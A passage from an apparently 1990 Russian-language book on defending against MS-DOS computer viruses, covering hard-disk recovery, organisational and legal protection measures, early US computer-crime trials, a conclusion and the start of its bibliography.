ческих дисков, которые следует записать в корневой каталог данной
дискеты. Она также выполняет дамп СMOS. Помимо указанных статичес-
ких управляющих блоков, которые достаточно записать на дискету
один раз, необходимо периодически записывать на эту дискету дампы
FAT и главного каталога. Для этой цели удобно использовать файлы,
создаваемые программой Image на диске. Их следует скопировать в
соответствующий подкаталог дискеты с помощью Norton Commander или
другой аналогичной оболочки.
5. FASTBACK PLUS и протоколы выгрузки для каждого логического
диска.
6. Программы тестирования оборудования.
7. Электронный справочник TechHelp фирмы
План восстановления винчестера должен быть реально отработан хо-
тя бы один раз. Для этой цели целесообразно устроить учебную тре-
вогу - после полной выгрузки информации на дискеты стереть вруч-
ную, скажем главный каталог винчестера, предварительно создав его
копию на диске в помощью программы Image из 5 версии утилит Норто-
на и записав на дискету программу восстановления (Unformat). На-
верняка уже на начальных шагах восстановления обнаружится ряд
серьезных проблем, преодаление которых приведет к существенному
уточнению первоначального плана. Зато в кризисной ситуации поле-
тевшего винчестера можно будет действовать более спокойно и уве-
ренно, зная, что все нужные программы записаны на дискеты и архив
успешно восстанавливался.
10.6.2. Если что-то случилось - избегайте поспешных действий
Утро вечера мудренее
Пословица
При обнаружении вируса и, в особенности, при уничтожении им ка-
кой-то информации очень важно не предпринимать поспешных действий,
и, прежде всего не запускать никаких программ с винчестера и не
записывать на диск новой информации. Рекомендуется сначала оста-
новиться, оглядеться, перегрузиться с дискеты, поскольку при этом
существенно повышаются шансы того, что уничтоженная информация мо-
жет быть восстановлена в полном объеме. Даже если диск отформати-
рован, содержащаяся на нем информация может быть в ряде случаев
восстановлена. При обнаружении каких-то повреждений информации или
файловой структуры запуск любых программ, записывающих информацию
на винчестер, является грубой ошибкой, обычно существенно увеличи-
вающей количество потерянной информации.
В случае вирусов поспешное восстановление обычно приводит не
только к потере части файлов, но и к повторному заражению. Харак-
терным примером непродуманных поспешных действий является реакция
некоторых пользователей на ложное сообщение сторожа FluShot Plus о
попытке модификации CMOS (экзотический тип памяти для машин типа
AT). Вместо выяснения ситуации, которая является редкой и связана
с типом памяти, назначение которой далеко не все отчетливо себе
представляют, такие пользователи доверчиво отвечают на запрос
FluShot - восстановить (правильный ответ - игнорировать), что при-
водит к затиранию CMOS-памяти без помощи вируса. Вместе с тем,
экзотичность ситуации делает вполне оправданным телефонный зво-
нок специалисту, на который достаточно потратить 5-10 мин, что
позволяет в большинстве случаев избежать неприятных последствий.
Другим примером является использование Norton Disk Doctor версии
4.5 при восстановлении информации на винчестре. В ряде случаев,
особенно при использовании дисковых драйверов, использующих нес-
тандартный формат MBR, его применение может давать непредвиденные
результаты. Кроме того, если указанной программой восстанавливает-
ся сектор, содержащий каталог, то хотя его содержимое переносится
в другой кластер, ссылка в родительском каталоге продолжает указы-
вать на старый кластер, что может вызывать эффект двоящегося ка-
талога. Эти недостатки устранены в версии 5.0 утилит Нортона.
Не рекомендуется начинать восстановление винчестера сразу после
события или во второй половине дня. Поскольку часть информации
так или иначе пропала и потери времени неизбежны, лучше всего
прекратить работу в этот день и заняться чем-нибудь другим. Не ис-
ключено, что за это время в голову придет какая-нибуль удачная
идея, которая позволит существенно уменьшить обьем работы по восс-
тановлению.
10.6.3. Советы по восстановлению информации
Прежде чем начать восстановление информации на диске восстанови-
те CMOS, MBR и бутсектор. Используя файлы, записыванные в базе
данных восстановления с помощью программы DiskTool 5 версии утилит
Нортона восстановите указанные блоки. MBR и бутсектор относятся к
статическим управляющим блокам и внесение изменений в них факти-
чески возможно только при переразметке винчестера. CMOS имееет ди-
намические поля (дата и время) однако их значение некритично. Этот
прием обеспечивает заведомо правильное значение типа винчестера в
CMOS, границы логических дисков и параметры разметки (количество
секторов в кластеле и и другая информация из бутсектора). При этом
файлы из которых вы производите воссстановление должны принадле-
жать данному винчестеру и компьютеру, иначе можно наломать дров.
Затем следует проверить правильность восстановления CMOS, MBR и
бутсектора визуально.
Если компьютер загружается с дискеты, но винчестер не читается,
то сначала оцените обьем повреждений. Первое, что нужно следать в
данном случае у это промотреть управляющие блоки и определеить
степень их повреждения. Если блоки читаются и информация в них не
слишком искажена, то соответствующие сектора диска следует запи-
сать в виде файлов на дискету с помощью Norton Utilities и распе-
чатать дамп утилитой TDUMP или какой-нибудь аналогичной. Помимо
визуального сравнения, рекомендуется получить протокол различий
имеющегося и эталонного MBR, бутсектора, FAT и корневого каталога.
Это можно сделать с помощью утилиты FC, входящей в MS DOS. Затем
следует запустить Norton Disk Doctor II и записать выдаваемую им
диагностику. К выдаваемым сообщениям следует относиться критично.
Никаких действий по исправлению до подтверждения диагноза по
другим источникам разрешать не следует.
Перед началом восстановления выполните съем информации на диске-
ты. Выполнив съем информации на дискеты с помощью DiskEdit, можно
более уверенно работать, не боясь окончательно испортить информа-
цию. При наличии более мощного компьютера, восстановление информа-
ции удобнее проводить на нем, записав выгруженные сектора в виде
файла, а затем создав дополнительный каталог, восстанавливать це-
почки в FAT. Конечно для этой цели выделить отдельный рабочий диск
или выгрузить один из имеющихся разделов винчестера, поскольку
операции с FAT лучше проводить на чистом диске.
Если компьютер не загружается с дискеты, переставьте винчестер
на другой компьютер с подходящим контроллером. Если вышел из строя
какой-то блок компьютера, то винчестер можно переставить на другой
компьютер и прочитать информацию там. Если это не представляется
возможным, то лучше снять винчестер с данной машины и переставить
его на время восстановления на более мощный компьютер.
При большом объеме работ по восстановлению доукомплектуйте
компьютер еще одним винчестером или дисководом. Если предстоит
большая и сложная работа по восстановлению информации, то нельзя
пытаться следать ее наскоком. Нужно обязательно провести подго-
товительную работу. В частности, на время восстановления полезно
доукомплектовать компьютер вторым винчестером (желательно анало-
гичного типа) и дисководом 1.2M. В наших условиях, в качестве до-
полнительного винчестра обычно подойдет 20M винчестер с какойни-
будь вышедшей из строя Мазовии или Правца. Это существенно
упрощает вызов необходимых программ и хранение промежуточной ин-
формации во время восстановления.
Некоторые приемы работы на компьютере с одним дисководом. Каж-
дый, кому приходилось восстанавливать винчестер на компьютере,
имеющим один дисковод, знает, что большая половина усилий уходит
не на восстановление, а на преодаление неудобств, связанных с ог-
раниченностью конфигурации. Первое, что стоит сделать в таких ус-
ловиях, это предусмотреть перенесение командного процессора и не-
которых утилит на электронный диск. При размере электронного диска
в 384K, как это имеет место на большинстве поставляемых в нашу
страну AT, на электронный диск можно записать помимо командного
процессора PKZIP и Norton Commander. При этом еще остается возмож-
ность распаковывать небольшие файлы на электронный диск. При от-
сутствии электронного диска даже копирование отдельного файла с
дискеты на дискету представляет определенную проблему. Для этой
цели следует задавать команду:
copy a:\command.com b:
Несмотря на то, что диск B физически отсутствует, операционная
система правильно выполнит команду, позволяя после считывания фай-
ла вынуть исходную дискету и вставить новую. Таким же образом сле-
дует поступать при копировании больших файлов. Правда в этом слу-
чае удобнее пользоваться утилитой XCOPY.
10.7. Некоторые организационные меры защиты
Как всякий человек на своем месте,
как подчиненные его самого, Лужин
ругал высшее начальство, считая,
что там сидят дураки, бюрократы,
самодуры, которые отдают приказы,
совершенно не считаясь с их прак-
тической выполнимостью
В.Войнович Жизнь и
необычайные приключения
солдата Ивана Чонкина
Хотя в данной работе рассматриваются, в основном, технические
аспекты защиты от компьютерных вирусов, представляется целесооб-
разным кратко остановиться и на организационных методах, поскольку
они, по сути, являются одной из составных частей защиты, наряду с
техническими и программными методами. Как уже указывалось, незави-
симо от того, насколько хорошо разработаны программные средства
защиты, их эффективность во многих случаях непосредственно зависит
от правильности действий пользователя, действий, в которых возмож-
ны не только ошибки, но и несознательность или даже злой умысел.
Например, если один из сотрудников регулярно запускает где-то пе-
реписанные игровые программы на компьютере с винчестером, то шансы
на то, что поставленная программная защита не сможет предотвратить
заражение, безусловно отличны от нуля.
Организационные меры защиты должны прежде всего соответствовать
здравому смыслу. Обычно наблюдаются лишь крайности: или практичес-
ки полное отсутствие регламентации доступа, или административ-
но-командный беспредел, граничащий с абсурдом, и делающим нор-
мальную работу невозможной (типа пребывание сотрудников в корпусе
... после 17.00 запрещено). Особенно характерным примером послед-
него является регламентация режима работы в предпраздничные,
праздничные и выходные дни, когда большинство институтов было зак-
рыто и опечатано исключительно по соображениям как бы чего не
вышло. Или, скорее, сама обстановка уравниловки приводила к тому,
что работа в неположенное время рассматривалась как что-то, гра-
ничащее с крамолой.
В то же время в области административных мер, как и везде, важно
найти оптимум между полным предотвращением доступа к ПЭВМ и анар-
хией. При этом, естественно, организационные меры должны предпри-
ниматься только с учетом выявленных точек проникновения и нали-
чия информации, подлежащей защите. Следует также отметить, что
косность аппарата ведет к тому, что принятые в ответ на определен-
ную ситуацию административные меры имеют тенденцию применяться и
после того, как ситуация полностью изменилась. Поэтому необходим
периодический пересмотр административных мер регламентации доступа
и приведение их в соответствие со сложившейся ситуацией.
Среди спектра организационных мер отметим следующие, представля-
ющиеся автору наиболее важными: общее административное регулирова-
ние доступа, включая систему паролей и сегментирование зон досту-
па; обучение персонала; обеспечение физической безопасности
компьютера и магнитных носителей; выработку правил архивирования;
определение файлов, хранимых в шифрованном виде.
Общее административное регулирование доступа должно обеспечивать
приемлемую степень защиты от использования компьютеров с ценными
данными случайными лицами. Если человек оставляет на улице автомо-
биль с незапертыми дверцами и вставленным ключем зажигания, то ес-
ли его угонят, определенная доля вины будет лежать на этом челове-
ке. Ситуация с компьютерами аналогична. Помимо опасности заражения
вирусами, незаконное копирование или модификация конфиденциальной
информации может нанести значительный вред организации, не обеспе-
чившей приемлемый уровень контроля за контингентом пользователей
соответствующего компьютера.
Если говорить о системе паролей, обеспечиваемых рядом систем,
например Advanced Disk Manager, то с организационной точки зрения
важно, чтобы пароли были достаточно длинными, с целью предотвраще-
ния их случайного угадывания. Простым и в то же время достаточно
хорошо зарекомендовавшим себя методом получения таких паролей яв-
ляется комбинирование пароля из двух хорошо знакомых слов. Напри-
мер, пароли Коля и 1950 каждый в отдельности являются весьма
уязвимыми, однако их комбинация типа К1о9л5я0 уже гораздо труднее
дешифруется и не так легко может быть запомнена путем подглядыва-
ния через плечо. Кроме того, пароли должны периодически менять-
ся, причем для пользователей, которые не желают делать это добро-
вольно, сответствующую услугу должен оказывать системный
программист. Случаи, когда пользователи по нескольку лет пользуют-
ся одним и тем же паролем, безусловно, должны быть исключены.
Кратко рассмотрим вопрос об обучении персонала. На семинарах по
защите от компьютерных вирусов часто задают вопрос о том, как пре-
дотвратить заражение компьютера вирусами. Главным условием этого
следует признать соответствующий уровень обучения сотрудников и,
конечно, уровень их лояльности по отношению к данной организации.
Если организацию можно определить как группу людей, стремящихся
достичь определенной цели, то в успехе, разумеется, рещающую роль
играет уровень их компетентности, опыт и личные качества. Опыт по-
казывает, что чем менее знаком данный сотрудник с компьютерами и
чем менее он дисциплинирован, тем большую опасность он представля-
ет с точки зрения возможности заражения ПЭВМ компьютерными вируса-
ми. Как уже указывалось выше, сотрудник, запускающий на компьютере
с винчестером новую игру, недавно полученную у приятеля, безуслов-
но подвергает компьютер определенному риску, степень которого, ко-
нечно, зависит от уровня его квалификации, наличия резидентных
средств защиты, а также применения им различных средств тестирова-
ния нового программного обеспечения на наличие компьютерных виру-
сов.
Здесь следует отметить, что само по себе разграничение доступа
не является панацеей. Представим себе гипотетическую ситуацию,
когда один из пользователей, обладающий минимальными правами дос-
тупа (например, для которого винчестер доступен только в режиме
чтения) столкнулся с зараженной игрой, которая стала работать нес-
колько странно. Он, естественно, обращается за помощью к систем-
ному программисту, который будучи перегруженным, сначала решает
посмотреть, что происходит непосредственно на машине. Для этого он
входит в систему со своим паролем (и, соответственно, максимальным
уровнем доступа) и для пробы один раз запускает эту игру. Не
требуется объяснять, к какому результату приведет такой пробный
запуск. Вместо системного программиста в роли троянского коня
может выступить практически любой более компетентный (и обладаю-
щий, соответственно, большими правами доступа) пользователь, к ко-
торому обратятся с той же просьбой.
И, наконец, важным условием эффективности любых мер по защите
информации является обеспечение физической безопасности компьютера
и дискет. Соотношение между ценой персонального компьютера и сред-
ней зарплатой говорит само за себя. Неслучайно, кражи персональных
компьютеров в нашей стране давно перестали быть редкостью. Раскры-
ваемость этого вида преступлений невелика. Например из двух укра-
денных в КИИГА за 1990 г. компьютеров типа PC AT не найден ни
один. Поэтому этим вопросам необходимо уделять достаточное внима-
ние. В частности, помещения, где установлены компьютеры должны
быть обязательно оборудованы электронной системой сигнализации. К
сожалению практика показала, что электронные системы сигнализации
в ряде случаев устанавливаются некачественно, не перекрывая всех
возможных путей проникновения в помещение. Поэтому их рекомендует-
ся дублировать инфракрасными датчиками, перекрывающими непосредс-
твенно рабочую зону, где установлены ЭВМ. При отсутствии инфрак-
расных датчиков, имеет смысл устанавливать наиболее ценные
персональные компьютеры на металлические столы со специальными
закрываемыми нишами для блоков или снимаемым металлическим колпа-
ком. Кстати, установка компьютера на прочном металлическом столе
полезна и с точки зрения предотвращения повреждения винчестера от
случайных толчков и колебаний. Неслучайно Роджер Олфорт в статье
Десять советов по эксплуатации накопителей на жестких магнитных
дисках (Мир ПК, 1990 No. 3) пишет:
... накопители на жестких дисках не любят грубого обращения.
Даже такие, на первый взглыд, безобидные факторы, как книга, бро-
шенная на стол, или случайные толчки стола прохолящими коллегами,
могут привести к тому, что головки чтения/записи накопителя чирк-
нут по поверхности дисков и испортят данные. Чтобы свести к мини-
муму вероятность подобной ситуации, рекомендуется устанавливать
компьютер на прочный стол. Лично я работаю на стальном столе,
прочном, как танк.
Учитывая, что стоимость изготовления такого стола существенно
ниже стоимости компьютера, данная рекомендация заслуживает внима-
ния. Да и простое прикрепление системного блока к столу на котором
он установлен в наших условиях совсем не помешает.
Аналогичные замечания относятся к дискетам. Дискеты с ценной ин-
формацией следует хранить в сейфе, а не в ящике письменного стола.
Конфиденциальная информация должна шифрововаться. В рамках расс-
матриваемой темы это прежде всего относится к зараженным програм-
мам, образцам вирусов, а также материалам их дизассемблирования и
реконструкции.
10.8. Юридические методы защиты от компьютерных вирусов
Oleynikoz S., 1990
Cтрока, содержащаяся в вирусе RC-600
Вы не глядите, что Серега все кивает,
он соображает, все понимает !
что молчит - так это от волненья,
от осознанья и просветленья.
Не запирайте, люди ! ...
В.Высоцкий, Милицейский протокол
Антропоморфизм в терминологии (заражение, вирус) не должен
заслонять суть дела - вирусы это специальный метод саботажа с по-
мощью преднамеренно созданных для этой цели программ. Хотя вопросы
юридической ответственности лиц, занимающихся созданием и расп-
ространением вирусов являются достаточно сложными, однако они ус-
пешно решаются в Северной Америке и западноевропейских странах.
Уголовная ответственность за создание и распространение компьютер-
ных вирусов принята сейчас в большинстве западных стран. При этом
можно выделить следующие действия, подпадающие под существующий
уголовный и административный кодекс: изменение данных (удаление,
вставка, замена или перестановка данных, осуществляемая без ведома
владельца); компьютерный саботаж (препятствование важной для
предприятия или лица деятельности); повреждение имущества (если
поврежденным имуществом является непосредственно ЭВМ или ее компо-
нента); шпионаж (обеспечение доступа для себя или для другого лица
к данным, не предназначенным для использования этими лицами и дос-
туп к которым защищен специальным образом); фальсификация докумен-
тов (в случае, если вирус изменяет данные, предназначенные для до-
казательства того или иного статуса или права данного лица или
группы лиц). При этом наказание может нести не только непосредс-
твенный разработчик, но и исполнители и соучастники. При наличии
последних можно говорить о преступной группе.
Если задаться вопросом о мотивации разработки компьютерных виру-
сов, то становится очевидной неоднородность разработчиков. Можно
выделить несколько типов мотивации (хулиганы, вандалы, наемники и
т.д.). Если на одном конце спектра находится мелкий пакостник, ко-
торый создает вирус с целью продемонстрировать городу и миру ка-
кой-нибудь сногсшибательный с его точки зрения эффект, то на
другом конце спектра находится рэкетир, использующий вирус для
шантажа пользователей. В любом случае, выявление и попытка прив-
лечь к судебной ответственности разработчиков компьютерных вирусов
является важной формой борьбы с распространением компьютерных ви-
русов.
Существует ряд достаточно тонких моментов, связанных с ответс-
твенностью за заражение программного обеспечения компьютерным ви-
русом. Так, при наличии вируса(ов) на некоммерческих дискетах к
ответственности должен привлекаться автор вируса, а не распростра-
нитель (за исключением случаев, когда распространитель знал о су-
ществовании вируса и не принял мер по его удалению. К последнему
случаю можно отнести наличие хорошо известного вируса, на кото-
рый у распространителя заведомо имелся детектор и/или фаг). В слу-
чае коммерчески распространяемых дискет, возможно привлечение раз-
работчика к ответственности за преступную халатность: изготовитель
коммерческого программного обеспечения обязан достаточно хорошо
знать свои программы с тем, чтобы обнаруживать в них вирусы при
наличии надлежащих мер предосторожности и контроля. При отсутствии
умысла уголовная ответственность исключается, однако вполне воз-
можна административная ответственность по возмещению ущерба. Пос-
редник (продавец коммерческого программного обеспечения) может
нести ответственность в случае заражения программ хорошо извест-
ными вирусами, поскольку в этом случае можно доказать, что он не
принял необходимых мер предосторожности, тем самым проявив прес-
тупную халатность.
Разработка компьютерных вирусов не является уголовно наказуемым
деянием. Однако, когда разработанный вирус (в виде исходного кода
или зараженной программы), был опубликован (помещение программы в
BBS или электронный бюллетень рассматривается как опубликование),
распространен или передан третьим лицам с согласия разработчика
или без оного, возникает административная или уголовная ответс-
твенность в зависимости от ущерба, нанесенного деятельностью соз-
данного вируса. При этом, опубликование или распространение исход-
ного кода вируса может квалифицироваться как подстрекательство
(публичное или тайное воздействие на другое лицо с целью принятия
им решений об осуществлении уголовно наказуемых действий) и вести
к уголовной ответственности по соответствующей статье. При этом
несущественно наличие каких-либо рекомендаций по его использова-
нию, включая отрицательные рекомендации типа ни в коем случае не
делайте....
Передача исходного кода вируса или заведомо зараженной вирусом
программы может рассматриваться как пособничество, если в резуль-
тате такой передачи будет причинен вред третьим лицам. При этом
пособничество может квалифицироваться как умышленное, если прог-
раммисту было известно, что своими действиями он мог способство-
вать совершению преступления. Такая ситуация может возникнуть,
например, если разработанным вирусом сознательно заражались прода-
ваемые программы. В этой связи следует упомянуть о таком опасном
преступлении, как вирусный рэкет. Одной из разновидностей пос-
леднего является сознательное заражение программного обеспечения,
поставляемого вместе с компьютером, с целью извлечения дополни-
тельной прибыли в виде платы за последующую дезинфекцию. На Западе
отмечались случаи вирусного шантажа, когда неизвестное лицо по те-
лефону сообщает об угрозе взрыва установленной вирусной мины,
способной разрушить ценную информацию. Как и в случае с шантажис-
тами, сообщающими об установке мины в самолет, даже в случае если
угроза оказывается ложной, персонал теряет массу времени на поиски
и проверку программного обеспечения.
Создание троянской версии имеющейся программы путем включения в
нее замаскированного тела вируса и ориентированной на распростра-
нение данного вируса следует рассматривать как два отдельных прес-
тупления. Во-первых здесь имеется особо опасное нарушение авторс-
ких прав разработчика программы-носителя вируса, а во-вторых
сознательная попытка распространить вирусную программу.
Учитывая наблюдающийся сейчас рост преступности, нет никаких
сомнений в том, что в нашей стране будет быстро расширяться и та
ее часть, которая прямо или косвенно связана с компьютерами, т.е.
компьютерная преступность. В то же время, шансы на принятие зако-
нодательных мер в этом направлении в обозримом будущем невелики.
Это связано прежде всего с тем, что в нашей стране еще не решены
основные вопросы авторских прав на программное обеспечение. Нес-
мотря на несовершенство действующего законодательства, такая воз-
можность имеется. В частности, в Уголовном кодексе УССР имеется
статья 90 неосторожное уничтожение или повреждение государствен-
ного или общественного имущества. Если трактовать случаи зараже-
ния вирусом приобретенного организацией коммерческого программого
обеспечения как его повреждение, то возбуждение уголовного дела
против разработчика вируса представляется возможным и рамках дейс-
твующего законодательства.
10.8.1. Некоторые судебные процессы над кракерами и разработчиками вирусов
Имеющиеся сведения почти целиком основны на американских данных.
Сведения о судебных процессах в Европе на момент написания книги
отсутствовали. Сведения приводятся в хронологическом порядке. Все
приводимые ниже процессе велись на основе принятого в 1986 г. аме-
риканского закона о компьютерных преступлениях (1986 U.S. Computer
Fraud and Abuse Act).
Процесс Зинна. В феврале 1989 г. 17-летний уроженец Чикаго Гер-
берт Зинн был осужден окружным судом Северного района шт. Иллинойс
на девятимесячное заключение в тюрьме для малолетних преступников.
Он обвинен в незаконном доступе к компьютерам фирмы AT & T в На-
первилле (шт. Иллинойс), компьютерам НАТО в Бирлингтоне и на базе
военно-воздушных сил в шт. Джорджия. По данным обвинения между ию-
нем и сентябрем 1987 г. Зинн похитил программное обеспечение на
сумму порядка 1,2 млн. долларов, включая очень ценные программы в
области искусственного интеллекта и разработки компьютеров. Он был
выявлен служащими компании AT & T, обнаружившими его телефонный
номер и сообщения в одной из BBS. Это было первое осуждение по
упомятуму выше закону от 1986 г.
Процесс Митника. В марте 1989 г. 25-летний Кевин Давид Митник
был осужден к году тюремного заключения и трехлетнему испытатель-
носму сроку за кражу программы защиты от несанкционированного дос-
тупа, разработанную американской фирмой DEC. Стоимость разработки
составила порядка 1 млн. долларов. Компания затратила более 100
тыс. долларов (преимущественно машинного времени) на расследование
факта кражи. Микник также обвинялся в законном использовании 16-ти
чужих кодов с целью избежать оплаты междугородних телефонных пере-
говоров и в проникновении в компьютер университета Лидза (Leeds) в
Великобритании, однако в ходе слушаний прокурор согласился снять
эти обвинения. Интересно отметить, что в приговоре предусматрива-
лось шестимесячное лечение Митника в реабилитационном центре с
целью избавления его от навязчивого пристрастия к компьютерам.
Процесс Морриса. Как уже указывалось, 23-летний Роберт Тарран
Моррис младший, бывший аспирант Корнельского университета оштрафо-
ван на 10 тыс. долларов, а также осужден на три года условно и 400
часов общественных работ. Моррис является автором вируса, поразив-
шего в ноябре 1988 г. американскую национальную сеть Internet.
Слушания по делу Морриса проходили в окружном суде штата Нью-Йорк
с 22 января по 4 мая 1989 г. Приговор, вынесенный 4 мая 1989 г.,
основан на упомянутом выше законе от 1986 г. Осуждение основано на
факте несанкционированного доступа Морриса к компьютерам и нанесе-
нии ущерба в 150 тыс. долларов государственной сети компьютеров.
Основная часть этого ущерба связана с потерями машинного времени и
времени, затраченного персоналом на восстановление операций сети.
Адвокат Морриса заявил, что сумма ущерба раздута заинтересованными
организациями.
11. ЗАКЛЮЧЕНИЕ
Господа присяжные заседатели,
заседание продолжается
И.Ильф, Е.Петров
Следует подчеркнуть, что приведенный в данной работе перечень
вирусов далеко не является исчерпывающим. В настоящее время для MS
DOS существует несколько сотен компьютерных вирусов и их число
продолжает расти. Поэтому следует с одной стороны ожидать посте-
пенного проникновения в СССР новых, более опасных и изощренно
написанных вирусов, включая стелс-вирусы, с другой вирусного
взрыва внутри самой страны, причем в силу наших особенностей он
принимает форму большого количества сравнительно простых, а зачас-
тую и безграмотно написанных вирусов. Не следует думать, что эво-
люция вирусов пойдет только в направлении их усложнения. Опыт по-
казал, что сложность стелс-вирусов существенно снижает их жизнес-
пособность. Как отмечал С.Н.Паркинсон в одном из своих знаменитых
законов рост означает усложнение, а усложнение -- разложение.
По-видимому эволюция компьютерных вирусов будет идти сразу в нес-
кольких направлениях, лишь одним из которых являются стелс-вирусы.
В свете имеющихся фактов, налаживание сплошного входного контро-
ля и исследования поступающего программного обеспечения является
важной задачей, решение которой не терпит отлагательства. Помимо
входного контроля батареей детекторов важное значение приобретает
контроль при загрузке. К сожалению, имеющиеся утилиты для контроля
on the fly (FluShot+) еще весьма несовершенны и разработки в
этом направлении являются, пожалуй, самыми приоритетными. В то же
время нельзя полагаться на какой-то один метод защиты -- защита
должна быть многоуровневой, комплекной и включать хорошо отлажен-
ную систему архивирования. Без последней любой метод защиты по су-
ти является самообманом.
Другим важным методом противодействия, выходящим в настоящее
время на передний план, является индивидуализация вычислительной
среды. Как минимум должен использоваться нестандартный дисковый
драйвер (например, Advanced Disk Manager) и командный процессор
(например 4DOS). Следует также рекомендовать уменьшенный до 1К
размер кластера на винчестере, который ведет к значительному сни-
жению количества свободных секторов в конце файлов и, тем самым,
препятствует распространению весьма опасных вирусов типа RC-0-512,
одновременно улучшая степень использования винчестера.Большая сте-
пень индивидуализации достигается переходом к MS DOS-совместимой
операционной системе (DR DOS, Hi DOS), тем более, что по своим эк-
сплуатационным характеристикам эти системы превосходят MS DOS.
Хотя общее количество вирусов велико, лежащие в их основе идеи
сравнительно малочисленны и не так просто поддаются расширению.
Поэтому основной тенденцией наблюдаемой в настоящее время является
не столько появление новых типов вирусов, сколько комбинирование
уже известных идей. Такие гибриды, как правило, оказываются
опаснее базисных видов. Например, в нескольких из появившихся не-
давно файловых вирусов используется заражение MBR, т.е. включены
черты бутового вируса. Все же, более часто наблюдается минимальная
модификация одного из получивших широкое распространение (и, сле-
довательно, доступного) вируса. Последнее приводит к образованию
вокруг базисного вируса группы штаммов, причем их количество в
некоторых случаях (например, для RCE-1813) превышает десяток.
Не следует думать, что только пользователи клонов IBM PC страда-
ют от этой новой напасти. Компьютерные вирусы отмечались и на дру-
гих типах персональных ЭВМ, в особенности на Macintosh. Среди дру-
гих ЭВМ, для которых существует один или несколько вирусов,
следует отметить VAX-11, Apple-II, Amiga, Atari. Еще раз отметим,
что по своей природе вирусы не являются программами, ориентирован-
ными на использование каких-то дефектов операционных систем. Для
функционирования вирусу достаточно обычных средств практически лю-
бой файловой системы. Поэтому проблема компьютерных вирусов носит
долговременный характер и к разработке средств защиты от них сле-
дует подходить соответственно, не рассматривая их как временные
поделки.
В настоящее время первостепенное значение приобретает обмен ин-
формацией между пользователями и координация усилий между разра-
ботчиками антивирусных программ. В какой-то мере в Киеве эту роль
играет семинар Системное программирование и выпускаемый им
электронный бюллетень СОФТПАНОРАМА. Постепенно налаживаются связи
и с разработчиками и пользователями антивирусных средств в других
городах, что позволяет оперативно распространять антивирусные
программы и описания новых вирусов. Учитывая сравнительно медлен-
ную скорость распространения компьютерных вирусов от центра к пе-
риферии (обычно вирус появившейся в Моске, Киеве, Ленинграде ста-
новится проблемой в других городах через три-шесть месяцев), для
большинства пользователей создается возможность встретить опас-
ность во всеоружии. В этом плане было бы целесообразно создание
отечественной антивирусной BBS, тем более, что количество установ-
ленных модемов последнее время быстро растет. Как уже было под-
черкнуто, скрывать друг от друга свежие антивирусные программы
просто невыгодно. Поэтому обмен должен налаживаться не только от
города к городу, региона к региону, но и внутри конкретного горо-
да: заитересованные пользователи могут и должны организоваться и
наладить обмен информацией и программами. Для этой цели может пос-
лужить такое проверенное средство как организация ежемесячного
городского семинара.
В условиях отсутствия информационных сетей значительную роль в
борьбе с вирусами способна сыграть периодическая печать. К сожале-
нию, наши околокомпьютерные журналы оказались практически выклю-
ченными из борьбы, поскольку сроки их издания таковы, что соот-
ветствующая информация устаревает к моменту попадания к читателю.
В этих условиях возрастает роль электронных бюллетеней типа СОФТ-
ПАНОРАМы, которые могут в приемлемые сроки распространять соот-
ветствующую информацию и загрузочные модули антивирусных средств.
Несмотря на обилие различного рода антивирусных программ, вопро-
сы конструирования средств защиты от вирусов остаются практически
неизученными. Отечественные разработчики вынуждены опираться на
свой собственный опыт и на немногочисленные исходные тексты анти-
вирусных средств, дошедшие до нас, в основном, с Запада. При этом
часто оказывается, что человек изобретает велосипед. Поэтому обоб-
щение имеющейся практики и создание какогото конструктора для
облегчения написания антивирусных программ (детекторов, фагов, ва-
кцин и др.) представляется достаточно актуальным. Автор надеется
посвятить этому вопросу вторую часть настоящей работы. Другим важ-
ным направлением является координация усилий между самими разрабо-
тчиками, создание специальных инструментальных средств, облегчаю-
щих анализ загрузочных модулей.
И наконец, поскольку вирусы являются дестабилизирующем фактором
для всех пользователей, необходимо выявлять и пытаться привлечь к
судебной ответственности разработчиков отечественных компьютерных
вирусов. Несмотря на несовершенство действующего законодательства,
такая возможность имеется. В частности, в Уголовном кодексе УССР
имеется статья 90 неосторожное уничтожение или повреждение госу-
дарственного или общественного имущества. Если трактовать случаи
заражения вирусом приобретенного организацией коммерческого прог-
раммого обеспечения как его повреждение, то возбуждение уголовного
дела против разработчика вируса представляется возможным и рамках
действующего законодательства.
Человек лишь недавно осознал, до какого кошмарного состояния он
довел окружающую среду. На наших глазах мир превращается в гло-
бальную свалку. Компьютерные вирусы, наряду с троянскими програм-
мами являются опасными загрязнителями информационной среды. Поэто-
му борьбу с компьютерными вирусами можно рассматривать как часть
экологического движения. Как и проблема загрязнения природы, проб-
лема компьютерных вирусов уже вышла за рамки национальных границ.
Локальное загрязнение какой-то территории (например, Софии) почти
всегда превращается в национальную, а затем и в международную
проблему. Транснациональное распространение вирусов наносит эконо-
мический ущерб, который пока лишь по размеру отличается от ущерба,
наносимого транснациональным распространением радиации или кислот-
ных дождей. Понятно, что должна существовать ответственность за
эти грязные потоки и какая-то система санкций. СССР в настоящее
время присоединился ко многим международным соглашениям по охране
окружающей среды. В области загрязнения информационной среды нам
этого еще предстоит добиваться. Как и в области охраны авторских
прав на программное обеспечение, в данном случае лучше добровольно
привести свое законодательство к международным нормам, не дожида-
ясь, когда нам это придется сделать под давлением (к сожалению,
обоснованным) со стороны других членов мирового сообщества. Иначе
репутации отечественной программной продукции будет нанесен значи-
тельный ущерб потоком изготовленных в стране компьютерных вирусов.
12. ЛИТЕРАТУРА (16.11.90, 340 названий)
В данной работе используются символические ссылки на приведенные
ниже источники. В самих библиографических описаниях приняты следующие
сокращенные названия периодических изданий:
А) Славянские (советские, болгарские):
АИТиАС - Автоматика, изчислителна техника и автоматизирани системи
ИК - Интеркомпьютер
КВ - Компютър за вас
КП - КомпьютерПресс
Б) Латинские (английские, немецкие, французские):
CACM - Communications of the ACM
CAK - Computer Anwendungen Universitat Karlsruhe
CF&SB - Computer Fraud and Security Bulletin
CL&SR - The Computer Law and Security Report
C&S - Computers & Security
C't - Magazin fur Computertechnik
CW - ComputerWorld
DataproIS - Datapro Reports on Information Security
DataproMC - Datapro Management of Microcomputer Systems
DC - Defence Computing
DuD - Datenschutz und Datensicherung
EDPAJ - The EDP Auditor Journal
KES - Zeitschrift fur Kommunikations- und EDV-Sicherheit
MC - die Mikrocomputer-Zeitschrift
PCW - Personal Computer World
PIK - Praxis der Informations - Verarbeitung und Kommunikation
[Абакумов89] Абакумов А.А., Абрамов С.М. и др. Правдивая история о
жизни и смерти одного вируса // Наука в СССР, 1989, N 4.- С.83-87
[Абрамов89] Абрамов С.М., Пименов С.П. и др. Компьютерный вирус //
